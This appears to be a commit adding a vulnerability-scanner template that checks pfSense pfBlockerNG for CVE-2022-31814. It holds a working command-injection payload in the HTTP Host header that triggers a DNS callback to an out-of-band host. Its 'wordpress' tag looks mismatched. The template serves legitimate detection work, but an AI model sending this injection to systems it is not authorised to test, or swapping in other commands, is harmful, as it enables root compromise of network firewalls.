Create CVE-2022-31814.yaml

cves/2022/CVE-2022-31814.yaml

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+id: CVE-2022-31814
+info:
+  name: pfSense pfblockerng plugin rce
+  author: EvergreenCartoons
+  severity: critical
+  description: |
+    pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
+  reference:
+    - https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
+    - https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
+    - https://github.com/EvergreenCartoons/SenselessViolence
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-31814
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-31814
+  tags: pfsense,cve,cve2022,rce,wordpress
+
+requests:
+
+  - raw:
+      - |+
+        GET /pfblockerng/www/index.php HTTP/1.1
+        Host: ' *; host {{interactsh-url}}; '
+        Accept: */*
+    unsafe: true
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"